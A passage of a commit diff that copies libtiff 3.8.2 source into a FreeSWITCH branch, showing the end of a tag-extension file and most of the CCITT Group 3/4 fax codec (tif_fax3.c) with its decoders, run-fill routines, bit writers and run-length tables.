+ * application extension capabilities. 
+ */
+
+#include "tiffiop.h"
+
+int TIFFGetTagListCount( TIFF *tif )
+
+{
+    TIFFDirectory* td = &tif->tif_dir;
+    
+    return td->td_customValueCount;
+}
+
+ttag_t TIFFGetTagListEntry( TIFF *tif, int tag_index )
+
+{
+    TIFFDirectory* td = &tif->tif_dir;
+
+    if( tag_index < 0 || tag_index >= td->td_customValueCount )
+        return (ttag_t) -1;
+    else
+        return td->td_customValues[tag_index].info->field_tag;
+}
+
+/*
+** This provides read/write access to the TIFFTagMethods within the TIFF
+** structure to application code without giving access to the private
+** TIFF structure.
+*/
+TIFFTagMethods *TIFFAccessTagMethods( TIFF *tif )
+
+{
+    return &(tif->tif_tagmethods);
+}
+
+void *TIFFGetClientInfo( TIFF *tif, const char *name )
+
+{
+    TIFFClientInfoLink *link = tif->tif_clientinfo;
+
+    while( link != NULL && strcmp(link->name,name) != 0 )
+        link = link->next;
+
+    if( link != NULL )
+        return link->data;
+    else
+        return NULL;
+}
+
+void TIFFSetClientInfo( TIFF *tif, void *data, const char *name )
+
+{
+    TIFFClientInfoLink *link = tif->tif_clientinfo;
+
+    /*
+    ** Do we have an existing link with this name?  If so, just
+    ** set it.
+    */
+    while( link != NULL && strcmp(link->name,name) != 0 )
+        link = link->next;
+
+    if( link != NULL )
+    {
+        link->data = data;
+        return;
+    }
+
+    /*
+    ** Create a new link.
+    */
+
+    link = (TIFFClientInfoLink *) _TIFFmalloc(sizeof(TIFFClientInfoLink));
+    assert (link != NULL);
+    link->next = tif->tif_clientinfo;
+    link->name = (char *) _TIFFmalloc(strlen(name)+1);
+    assert (link->name != NULL);
+    strcpy(link->name, name);
+    link->data = data;
+
+    tif->tif_clientinfo = link;
+}

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_fax3.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_fax3.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_fax3.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_fax3.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_fax3.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1566 @@
+/* $Id: tif_fax3.c,v 1.40 2006/03/16 12:38:24 dron Exp $ */
+
+/*
+ * Copyright (c) 1990-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#include "tiffiop.h"
+#ifdef CCITT_SUPPORT
+/*
+ * TIFF Library.
+ *
+ * CCITT Group 3 (T.4) and Group 4 (T.6) Compression Support.
+ *
+ * This file contains support for decoding and encoding TIFF
+ * compression algorithms 2, 3, 4, and 32771.
+ *
+ * Decoder support is derived, with permission, from the code
+ * in Frank Cringle's viewfax program;
+ *      Copyright (C) 1990, 1995  Frank D. Cringle.
+ */
+#include "tif_fax3.h"
+#define	G3CODES
+#include "t4.h"
+#include <stdio.h>
+
+/*
+ * Compression+decompression state blocks are
+ * derived from this ``base state'' block.
+ */
+typedef struct {
+        int     rw_mode;                /* O_RDONLY for decode, else encode */
+	int	mode;			/* operating mode */
+	uint32	rowbytes;		/* bytes in a decoded scanline */
+	uint32	rowpixels;		/* pixels in a scanline */
+
+	uint16	cleanfaxdata;		/* CleanFaxData tag */
+	uint32	badfaxrun;		/* BadFaxRun tag */
+	uint32	badfaxlines;		/* BadFaxLines tag */
+	uint32	groupoptions;		/* Group 3/4 options tag */
+	uint32	recvparams;		/* encoded Class 2 session params */
+	char*	subaddress;		/* subaddress string */
+	uint32	recvtime;		/* time spent receiving (secs) */
+	char*	faxdcs;			/* Table 2/T.30 encoded session params */
+	TIFFVGetMethod vgetparent;	/* super-class method */
+	TIFFVSetMethod vsetparent;	/* super-class method */
+} Fax3BaseState;
+#define	Fax3State(tif)		((Fax3BaseState*) (tif)->tif_data)
+
+typedef enum { G3_1D, G3_2D } Ttag;
+typedef struct {
+	Fax3BaseState b;
+
+	/* Decoder state info */
+	const unsigned char* bitmap;	/* bit reversal table */
+	uint32	data;			/* current i/o byte/word */
+	int	bit;			/* current i/o bit in byte */
+	int	EOLcnt;			/* count of EOL codes recognized */
+	TIFFFaxFillFunc fill;		/* fill routine */
+	uint32*	runs;			/* b&w runs for current/previous row */
+	uint32*	refruns;		/* runs for reference line */
+	uint32*	curruns;		/* runs for current line */
+
+	/* Encoder state info */
+	Ttag    tag;			/* encoding state */
+	unsigned char*	refline;	/* reference line for 2d decoding */
+	int	k;			/* #rows left that can be 2d encoded */
+	int	maxk;			/* max #rows that can be 2d encoded */
+} Fax3CodecState;
+#define	DecoderState(tif)	((Fax3CodecState*) Fax3State(tif))
+#define	EncoderState(tif)	((Fax3CodecState*) Fax3State(tif))
+
+#define	is2DEncoding(sp) \
+	(sp->b.groupoptions & GROUP3OPT_2DENCODING)
+#define	isAligned(p,t)	((((unsigned long)(p)) & (sizeof (t)-1)) == 0)
+
+/*
+ * Group 3 and Group 4 Decoding.
+ */
+
+/*
+ * These macros glue the TIFF library state to
+ * the state expected by Frank's decoder.
+ */
+#define	DECLARE_STATE(tif, sp, mod)					\
+    static const char module[] = mod;					\
+    Fax3CodecState* sp = DecoderState(tif);				\
+    int a0;				/* reference element */		\
+    int lastx = sp->b.rowpixels;	/* last element in row */	\
+    uint32 BitAcc;			/* bit accumulator */		\
+    int BitsAvail;			/* # valid bits in BitAcc */	\
+    int RunLength;			/* length of current run */	\
+    unsigned char* cp;			/* next byte of input data */	\
+    unsigned char* ep;			/* end of input data */		\
+    uint32* pa;				/* place to stuff next run */	\
+    uint32* thisrun;			/* current row's run array */	\
+    int EOLcnt;				/* # EOL codes recognized */	\
+    const unsigned char* bitmap = sp->bitmap;	/* input data bit reverser */	\
+    const TIFFFaxTabEnt* TabEnt
+#define	DECLARE_STATE_2D(tif, sp, mod)					\
+    DECLARE_STATE(tif, sp, mod);					\
+    int b1;				/* next change on prev line */	\
+    uint32* pb				/* next run in reference line */\
+/*
+ * Load any state that may be changed during decoding.
+ */
+#define	CACHE_STATE(tif, sp) do {					\
+    BitAcc = sp->data;							\
+    BitsAvail = sp->bit;						\
+    EOLcnt = sp->EOLcnt;						\
+    cp = (unsigned char*) tif->tif_rawcp;				\
+    ep = cp + tif->tif_rawcc;						\
+} while (0)
+/*
+ * Save state possibly changed during decoding.
+ */
+#define	UNCACHE_STATE(tif, sp) do {					\
+    sp->bit = BitsAvail;						\
+    sp->data = BitAcc;							\
+    sp->EOLcnt = EOLcnt;						\
+    tif->tif_rawcc -= (tidata_t) cp - tif->tif_rawcp;			\
+    tif->tif_rawcp = (tidata_t) cp;					\
+} while (0)
+
+/*
+ * Setup state for decoding a strip.
+ */
+static int
+Fax3PreDecode(TIFF* tif, tsample_t s)
+{
+	Fax3CodecState* sp = DecoderState(tif);
+
+	(void) s;
+	assert(sp != NULL);
+	sp->bit = 0;			/* force initial read */
+	sp->data = 0;
+	sp->EOLcnt = 0;			/* force initial scan for EOL */
+	/*
+	 * Decoder assumes lsb-to-msb bit order.  Note that we select
+	 * this here rather than in Fax3SetupState so that viewers can
+	 * hold the image open, fiddle with the FillOrder tag value,
+	 * and then re-decode the image.  Otherwise they'd need to close
+	 * and open the image to get the state reset.
+	 */
+	sp->bitmap =
+	    TIFFGetBitRevTable(tif->tif_dir.td_fillorder != FILLORDER_LSB2MSB);
+	if (sp->refruns) {		/* init reference line to white */
+		sp->refruns[0] = (uint32) sp->b.rowpixels;
+		sp->refruns[1] = 0;
+	}
+	return (1);
+}
+
+/*
+ * Routine for handling various errors/conditions.
+ * Note how they are "glued into the decoder" by
+ * overriding the definitions used by the decoder.
+ */
+
+static void
+Fax3Unexpected(const char* module, TIFF* tif, uint32 line, uint32 a0)
+{
+	TIFFErrorExt(tif->tif_clientdata, module, "%s: Bad code word at line %lu of %s %lu (x %lu)",
+		tif->tif_name, (unsigned long) line, isTiled(tif) ? "tile" : "strip",
+	   (unsigned long) (isTiled(tif) ? tif->tif_curtile : tif->tif_curstrip),
+	   (unsigned long) a0);
+}
+#define	unexpected(table, a0)	Fax3Unexpected(module, tif, line, a0)
+
+static void
+Fax3Extension(const char* module, TIFF* tif, uint32 line, uint32 a0)
+{
+	TIFFErrorExt(tif->tif_clientdata, module,
+	    "%s: Uncompressed data (not supported) at line %lu of %s %lu (x %lu)",
+	    tif->tif_name, (unsigned long) line, isTiled(tif) ? "tile" : "strip",
+       (unsigned long) (isTiled(tif) ? tif->tif_curtile : tif->tif_curstrip),
+       (unsigned long) a0);
+}
+#define	extension(a0)	Fax3Extension(module, tif, line, a0)
+
+static void
+Fax3BadLength(const char* module, TIFF* tif, uint32 line, uint32 a0, uint32 lastx)
+{
+	TIFFWarningExt(tif->tif_clientdata, module, "%s: %s at line %lu of %s %lu (got %lu, expected %lu)",
+	    tif->tif_name,
+	    a0 < lastx ? "Premature EOL" : "Line length mismatch",
+	    (unsigned long) line, isTiled(tif) ? "tile" : "strip",
+        (unsigned long) (isTiled(tif) ? tif->tif_curtile : tif->tif_curstrip),
+        (unsigned long) a0, lastx);
+}
+#define	badlength(a0,lastx)	Fax3BadLength(module, tif, line, a0, lastx)
+
+static void
+Fax3PrematureEOF(const char* module, TIFF* tif, uint32 line, uint32 a0)
+{
+	TIFFWarningExt(tif->tif_clientdata, module, "%s: Premature EOF at line %lu of %s %lu (x %lu)",
+	    tif->tif_name,
+	    (unsigned long) line, isTiled(tif) ? "tile" : "strip",
+        (unsigned long) (isTiled(tif) ? tif->tif_curtile : tif->tif_curstrip),
+        (unsigned long) a0);
+}
+#define	prematureEOF(a0)	Fax3PrematureEOF(module, tif, line, a0)
+
+#define	Nop
+
+/*
+ * Decode the requested amount of G3 1D-encoded data.
+ */
+static int
+Fax3Decode1D(TIFF* tif, tidata_t buf, tsize_t occ, tsample_t s)
+{
+	DECLARE_STATE(tif, sp, "Fax3Decode1D");
+        int line = 0;
+
+	(void) s;
+	CACHE_STATE(tif, sp);
+	thisrun = sp->curruns;
+	while ((long)occ > 0) {
+		a0 = 0;
+		RunLength = 0;
+		pa = thisrun;
+#ifdef FAX3_DEBUG
+		printf("\nBitAcc=%08X, BitsAvail = %d\n", BitAcc, BitsAvail);
+		printf("-------------------- %d\n", tif->tif_row);
+		fflush(stdout);
+#endif
+		SYNC_EOL(EOF1D);
+		EXPAND1D(EOF1Da);
+		(*sp->fill)(buf, thisrun, pa, lastx);
+		buf += sp->b.rowbytes;
+		occ -= sp->b.rowbytes;
+                line++;
+		continue;
+	EOF1D:				/* premature EOF */
+		CLEANUP_RUNS();
+	EOF1Da:				/* premature EOF */
+		(*sp->fill)(buf, thisrun, pa, lastx);
+		UNCACHE_STATE(tif, sp);
+		return (-1);
+	}
+	UNCACHE_STATE(tif, sp);
+	return (1);
+}
+
+#define	SWAP(t,a,b)	{ t x; x = (a); (a) = (b); (b) = x; }
+/*
+ * Decode the requested amount of G3 2D-encoded data.
+ */
+static int
+Fax3Decode2D(TIFF* tif, tidata_t buf, tsize_t occ, tsample_t s)
+{
+	DECLARE_STATE_2D(tif, sp, "Fax3Decode2D");
+        int line = 0;
+	int is1D;			/* current line is 1d/2d-encoded */
+
+	(void) s;
+	CACHE_STATE(tif, sp);
+	while ((long)occ > 0) {
+		a0 = 0;
+		RunLength = 0;
+		pa = thisrun = sp->curruns;
+#ifdef FAX3_DEBUG
+		printf("\nBitAcc=%08X, BitsAvail = %d EOLcnt = %d",
+		    BitAcc, BitsAvail, EOLcnt);
+#endif
+		SYNC_EOL(EOF2D);
+		NeedBits8(1, EOF2D);
+		is1D = GetBits(1);	/* 1D/2D-encoding tag bit */
+		ClrBits(1);
+#ifdef FAX3_DEBUG
+		printf(" %s\n-------------------- %d\n",
+		    is1D ? "1D" : "2D", tif->tif_row);
+		fflush(stdout);
+#endif
+		pb = sp->refruns;
+		b1 = *pb++;
+		if (is1D)
+			EXPAND1D(EOF2Da);
+		else
+			EXPAND2D(EOF2Da);
+		(*sp->fill)(buf, thisrun, pa, lastx);
+		SETVALUE(0);		/* imaginary change for reference */
+		SWAP(uint32*, sp->curruns, sp->refruns);
+		buf += sp->b.rowbytes;
+		occ -= sp->b.rowbytes;
+                line++;
+		continue;
+	EOF2D:				/* premature EOF */
+		CLEANUP_RUNS();
+	EOF2Da:				/* premature EOF */
+		(*sp->fill)(buf, thisrun, pa, lastx);
+		UNCACHE_STATE(tif, sp);
+		return (-1);
+	}
+	UNCACHE_STATE(tif, sp);
+	return (1);
+}
+#undef SWAP
+
+/*
+ * The ZERO & FILL macros must handle spans < 2*sizeof(long) bytes.
+ * For machines with 64-bit longs this is <16 bytes; otherwise
+ * this is <8 bytes.  We optimize the code here to reflect the
+ * machine characteristics.
+ */
+#if SIZEOF_LONG == 8
+# define FILL(n, cp)							    \
+    switch (n) {							    \
+    case 15:(cp)[14] = 0xff; case 14:(cp)[13] = 0xff; case 13: (cp)[12] = 0xff;\
+    case 12:(cp)[11] = 0xff; case 11:(cp)[10] = 0xff; case 10: (cp)[9] = 0xff;\
+    case  9: (cp)[8] = 0xff; case  8: (cp)[7] = 0xff; case  7: (cp)[6] = 0xff;\
+    case  6: (cp)[5] = 0xff; case  5: (cp)[4] = 0xff; case  4: (cp)[3] = 0xff;\
+    case  3: (cp)[2] = 0xff; case  2: (cp)[1] = 0xff;			      \
+    case  1: (cp)[0] = 0xff; (cp) += (n); case 0:  ;			      \
+    }
+# define ZERO(n, cp)							\
+    switch (n) {							\
+    case 15:(cp)[14] = 0; case 14:(cp)[13] = 0; case 13: (cp)[12] = 0;	\
+    case 12:(cp)[11] = 0; case 11:(cp)[10] = 0; case 10: (cp)[9] = 0;	\
+    case  9: (cp)[8] = 0; case  8: (cp)[7] = 0; case  7: (cp)[6] = 0;	\
+    case  6: (cp)[5] = 0; case  5: (cp)[4] = 0; case  4: (cp)[3] = 0;	\
+    case  3: (cp)[2] = 0; case  2: (cp)[1] = 0;				\
+    case  1: (cp)[0] = 0; (cp) += (n); case 0:  ;			\
+    }
+#else
+# define FILL(n, cp)							    \
+    switch (n) {							    \
+    case 7: (cp)[6] = 0xff; case 6: (cp)[5] = 0xff; case 5: (cp)[4] = 0xff; \
+    case 4: (cp)[3] = 0xff; case 3: (cp)[2] = 0xff; case 2: (cp)[1] = 0xff; \
+    case 1: (cp)[0] = 0xff; (cp) += (n); case 0:  ;			    \
+    }
+# define ZERO(n, cp)							\
+    switch (n) {							\
+    case 7: (cp)[6] = 0; case 6: (cp)[5] = 0; case 5: (cp)[4] = 0;	\
+    case 4: (cp)[3] = 0; case 3: (cp)[2] = 0; case 2: (cp)[1] = 0;	\
+    case 1: (cp)[0] = 0; (cp) += (n); case 0:  ;			\
+    }
+#endif
+
+/*
+ * Bit-fill a row according to the white/black
+ * runs generated during G3/G4 decoding.
+ */
+void
+_TIFFFax3fillruns(unsigned char* buf, uint32* runs, uint32* erun, uint32 lastx)
+{
+	static const unsigned char _fillmasks[] =
+	    { 0x00, 0x80, 0xc0, 0xe0, 0xf0, 0xf8, 0xfc, 0xfe, 0xff };
+	unsigned char* cp;
+	uint32 x, bx, run;
+	int32 n, nw;
+	long* lp;
+
+	if ((erun-runs)&1)
+	    *erun++ = 0;
+	x = 0;
+	for (; runs < erun; runs += 2) {
+	    run = runs[0];
+	    if (x+run > lastx || run > lastx )
+		run = runs[0] = (uint32) (lastx - x);
+	    if (run) {
+		cp = buf + (x>>3);
+		bx = x&7;
+		if (run > 8-bx) {
+		    if (bx) {			/* align to byte boundary */
+			*cp++ &= 0xff << (8-bx);
+			run -= 8-bx;
+		    }
+		    if( (n = run >> 3) != 0 ) {	/* multiple bytes to fill */
+			if ((n/sizeof (long)) > 1) {
+			    /*
+			     * Align to longword boundary and fill.
+			     */
+			    for (; n && !isAligned(cp, long); n--)
+				    *cp++ = 0x00;
+			    lp = (long*) cp;
+			    nw = (int32)(n / sizeof (long));
+			    n -= nw * sizeof (long);
+			    do {
+				    *lp++ = 0L;
+			    } while (--nw);
+			    cp = (unsigned char*) lp;
+			}
+			ZERO(n, cp);
+			run &= 7;
+		    }
+		    if (run)
+			cp[0] &= 0xff >> run;
+		} else
+		    cp[0] &= ~(_fillmasks[run]>>bx);
+		x += runs[0];
+	    }
+	    run = runs[1];
+	    if (x+run > lastx || run > lastx )
+		run = runs[1] = lastx - x;
+	    if (run) {
+		cp = buf + (x>>3);
+		bx = x&7;
+		if (run > 8-bx) {
+		    if (bx) {			/* align to byte boundary */
+			*cp++ |= 0xff >> bx;
+			run -= 8-bx;
+		    }
+		    if( (n = run>>3) != 0 ) {	/* multiple bytes to fill */
+			if ((n/sizeof (long)) > 1) {
+			    /*
+			     * Align to longword boundary and fill.
+			     */
+			    for (; n && !isAligned(cp, long); n--)
+				*cp++ = 0xff;
+			    lp = (long*) cp;
+			    nw = (int32)(n / sizeof (long));
+			    n -= nw * sizeof (long);
+			    do {
+				*lp++ = -1L;
+			    } while (--nw);
+			    cp = (unsigned char*) lp;
+			}
+			FILL(n, cp);
+			run &= 7;
+		    }
+		    if (run)
+			cp[0] |= 0xff00 >> run;
+		} else
+		    cp[0] |= _fillmasks[run]>>bx;
+		x += runs[1];
+	    }
+	}
+	assert(x == lastx);
+}
+#undef	ZERO
+#undef	FILL
+
+/*
+ * Setup G3/G4-related compression/decompression state
+ * before data is processed.  This routine is called once
+ * per image -- it sets up different state based on whether
+ * or not decoding or encoding is being done and whether
+ * 1D- or 2D-encoded data is involved.
+ */
+static int
+Fax3SetupState(TIFF* tif)
+{
+	TIFFDirectory* td = &tif->tif_dir;
+	Fax3BaseState* sp = Fax3State(tif);
+	int needsRefLine;
+	Fax3CodecState* dsp = (Fax3CodecState*) Fax3State(tif);
+	uint32 rowbytes, rowpixels, nruns;
+
+	if (td->td_bitspersample != 1) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+		    "Bits/sample must be 1 for Group 3/4 encoding/decoding");
+		return (0);
+	}
+	/*
+	 * Calculate the scanline/tile widths.
+	 */
+	if (isTiled(tif)) {
+		rowbytes = TIFFTileRowSize(tif);
+		rowpixels = td->td_tilewidth;
+	} else {
+		rowbytes = TIFFScanlineSize(tif);
+		rowpixels = td->td_imagewidth;
+	}
+	sp->rowbytes = (uint32) rowbytes;
+	sp->rowpixels = (uint32) rowpixels;
+	/*
+	 * Allocate any additional space required for decoding/encoding.
+	 */
+	needsRefLine = (
+	    (sp->groupoptions & GROUP3OPT_2DENCODING) ||
+	    td->td_compression == COMPRESSION_CCITTFAX4
+	);
+
+	nruns = needsRefLine ? 2*TIFFroundup(rowpixels,32) : rowpixels;
+
+	dsp->runs = (uint32*) _TIFFCheckMalloc(tif, 2*nruns+3, sizeof (uint32),
+					  "for Group 3/4 run arrays");
+	if (dsp->runs == NULL)
+		return (0);
+	dsp->curruns = dsp->runs;
+	if (needsRefLine)
+		dsp->refruns = dsp->runs + (nruns>>1);
+	else
+		dsp->refruns = NULL;
+	if (td->td_compression == COMPRESSION_CCITTFAX3
+	    && is2DEncoding(dsp)) {	/* NB: default is 1D routine */
+		tif->tif_decoderow = Fax3Decode2D;
+		tif->tif_decodestrip = Fax3Decode2D;
+		tif->tif_decodetile = Fax3Decode2D;
+	}
+
+	if (needsRefLine) {		/* 2d encoding */
+		Fax3CodecState* esp = EncoderState(tif);
+		/*
+		 * 2d encoding requires a scanline
+		 * buffer for the ``reference line''; the
+		 * scanline against which delta encoding
+		 * is referenced.  The reference line must
+		 * be initialized to be ``white'' (done elsewhere).
+		 */
+		esp->refline = (unsigned char*) _TIFFmalloc(rowbytes);
+		if (esp->refline == NULL) {
+			TIFFErrorExt(tif->tif_clientdata, "Fax3SetupState",
+			    "%s: No space for Group 3/4 reference line",
+			    tif->tif_name);
+			return (0);
+		}
+	} else					/* 1d encoding */
+		EncoderState(tif)->refline = NULL;
+
+	return (1);
+}
+
+/*
+ * CCITT Group 3 FAX Encoding.
+ */
+
+#define	Fax3FlushBits(tif, sp) {				\
+	if ((tif)->tif_rawcc >= (tif)->tif_rawdatasize)		\
+		(void) TIFFFlushData1(tif);			\
+	*(tif)->tif_rawcp++ = (tidataval_t) (sp)->data;		\
+	(tif)->tif_rawcc++;					\
+	(sp)->data = 0, (sp)->bit = 8;				\
+}
+#define	_FlushBits(tif) {					\
+	if ((tif)->tif_rawcc >= (tif)->tif_rawdatasize)		\
+		(void) TIFFFlushData1(tif);			\
+	*(tif)->tif_rawcp++ = (tidataval_t) data;		\
+	(tif)->tif_rawcc++;					\
+	data = 0, bit = 8;					\
+}
+static const int _msbmask[9] =
+    { 0x00, 0x01, 0x03, 0x07, 0x0f, 0x1f, 0x3f, 0x7f, 0xff };
+#define	_PutBits(tif, bits, length) {				\
+	while (length > bit) {					\
+		data |= bits >> (length - bit);			\
+		length -= bit;					\
+		_FlushBits(tif);				\
+	}							\
+	data |= (bits & _msbmask[length]) << (bit - length);	\
+	bit -= length;						\
+	if (bit == 0)						\
+		_FlushBits(tif);				\
+}
+	
+/*
+ * Write a variable-length bit-value to
+ * the output stream.  Values are
+ * assumed to be at most 16 bits.
+ */
+static void
+Fax3PutBits(TIFF* tif, unsigned int bits, unsigned int length)
+{
+	Fax3CodecState* sp = EncoderState(tif);
+	unsigned int bit = sp->bit;
+	int data = sp->data;
+
+	_PutBits(tif, bits, length);
+
+	sp->data = data;
+	sp->bit = bit;
+}
+
+/*
+ * Write a code to the output stream.
+ */
+#define putcode(tif, te)	Fax3PutBits(tif, (te)->code, (te)->length)
+
+#ifdef FAX3_DEBUG
+#define	DEBUG_COLOR(w) (tab == TIFFFaxWhiteCodes ? w "W" : w "B")
+#define	DEBUG_PRINT(what,len) {						\
+    int t;								\
+    printf("%08X/%-2d: %s%5d\t", data, bit, DEBUG_COLOR(what), len);	\
+    for (t = length-1; t >= 0; t--)					\
+	putchar(code & (1<<t) ? '1' : '0');				\
+    putchar('\n');							\
+}
+#endif
+
+/*
+ * Write the sequence of codes that describes
+ * the specified span of zero's or one's.  The
+ * appropriate table that holds the make-up and
+ * terminating codes is supplied.
+ */
+static void
+putspan(TIFF* tif, int32 span, const tableentry* tab)
+{
+	Fax3CodecState* sp = EncoderState(tif);
+	unsigned int bit = sp->bit;
+	int data = sp->data;
+	unsigned int code, length;
+
+	while (span >= 2624) {
+		const tableentry* te = &tab[63 + (2560>>6)];
+		code = te->code, length = te->length;
+#ifdef FAX3_DEBUG
+		DEBUG_PRINT("MakeUp", te->runlen);
+#endif
+		_PutBits(tif, code, length);
+		span -= te->runlen;
+	}
+	if (span >= 64) {
+		const tableentry* te = &tab[63 + (span>>6)];
+		assert(te->runlen == 64*(span>>6));
+		code = te->code, length = te->length;
+#ifdef FAX3_DEBUG
+		DEBUG_PRINT("MakeUp", te->runlen);
+#endif
+		_PutBits(tif, code, length);
+		span -= te->runlen;
+	}
+	code = tab[span].code, length = tab[span].length;
+#ifdef FAX3_DEBUG
+	DEBUG_PRINT("  Term", tab[span].runlen);
+#endif
+	_PutBits(tif, code, length);
+
+	sp->data = data;
+	sp->bit = bit;
+}
+
+/*
+ * Write an EOL code to the output stream.  The zero-fill
+ * logic for byte-aligning encoded scanlines is handled
+ * here.  We also handle writing the tag bit for the next
+ * scanline when doing 2d encoding.
+ */
+static void
+Fax3PutEOL(TIFF* tif)
+{
+	Fax3CodecState* sp = EncoderState(tif);
+	unsigned int bit = sp->bit;
+	int data = sp->data;
+	unsigned int code, length, tparm;
+
+	if (sp->b.groupoptions & GROUP3OPT_FILLBITS) {
+		/*
+		 * Force bit alignment so EOL will terminate on
+		 * a byte boundary.  That is, force the bit alignment
+		 * to 16-12 = 4 before putting out the EOL code.
+		 */
+		int align = 8 - 4;
+		if (align != sp->bit) {
+			if (align > sp->bit)
+				align = sp->bit + (8 - align);
+			else
+				align = sp->bit - align;
+			code = 0;
+			tparm=align; 
+			_PutBits(tif, 0, tparm);
+		}
+	}
+	code = EOL, length = 12;
+	if (is2DEncoding(sp))
+		code = (code<<1) | (sp->tag == G3_1D), length++;
+	_PutBits(tif, code, length);
+
+	sp->data = data;
+	sp->bit = bit;
+}
+
+/*
+ * Reset encoding state at the start of a strip.
+ */
+static int
+Fax3PreEncode(TIFF* tif, tsample_t s)
+{
+	Fax3CodecState* sp = EncoderState(tif);
+
+	(void) s;
+	assert(sp != NULL);
+	sp->bit = 8;
+	sp->data = 0;
+	sp->tag = G3_1D;
+	/*
+	 * This is necessary for Group 4; otherwise it isn't
+	 * needed because the first scanline of each strip ends
+	 * up being copied into the refline.
+	 */
+	if (sp->refline)
+		_TIFFmemset(sp->refline, 0x00, sp->b.rowbytes);
+	if (is2DEncoding(sp)) {
+		float res = tif->tif_dir.td_yresolution;
+		/*
+		 * The CCITT spec says that when doing 2d encoding, you
+		 * should only do it on K consecutive scanlines, where K
+		 * depends on the resolution of the image being encoded
+		 * (2 for <= 200 lpi, 4 for > 200 lpi).  Since the directory
+		 * code initializes td_yresolution to 0, this code will
+		 * select a K of 2 unless the YResolution tag is set
+		 * appropriately.  (Note also that we fudge a little here
+		 * and use 150 lpi to avoid problems with units conversion.)
+		 */
+		if (tif->tif_dir.td_resolutionunit == RESUNIT_CENTIMETER)
+			res *= 2.54f;		/* convert to inches */
+		sp->maxk = (res > 150 ? 4 : 2);
+		sp->k = sp->maxk-1;
+	} else
+		sp->k = sp->maxk = 0;
+	return (1);
+}
+
+static const unsigned char zeroruns[256] = {
+    8, 7, 6, 6, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4,	/* 0x00 - 0x0f */
+    3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,	/* 0x10 - 0x1f */
+    2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,	/* 0x20 - 0x2f */
+    2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,	/* 0x30 - 0x3f */
+    1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,	/* 0x40 - 0x4f */
+    1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,	/* 0x50 - 0x5f */
+    1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,	/* 0x60 - 0x6f */
+    1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,	/* 0x70 - 0x7f */
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,	/* 0x80 - 0x8f */
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,	/* 0x90 - 0x9f */
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,	/* 0xa0 - 0xaf */
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,	/* 0xb0 - 0xbf */
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,	/* 0xc0 - 0xcf */
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,	/* 0xd0 - 0xdf */
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,	/* 0xe0 - 0xef */
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,	/* 0xf0 - 0xff */
+};
+static const unsigned char oneruns[256] = {
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,	/* 0x00 - 0x0f */
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,	/* 0x10 - 0x1f */
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,	/* 0x20 - 0x2f */
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,	/* 0x30 - 0x3f */
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,	/* 0x40 - 0x4f */
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,	/* 0x50 - 0x5f */
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,	/* 0x60 - 0x6f */
